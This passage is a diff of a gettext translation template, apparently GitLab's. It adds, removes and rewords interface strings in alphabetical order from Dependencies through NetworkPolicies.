@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
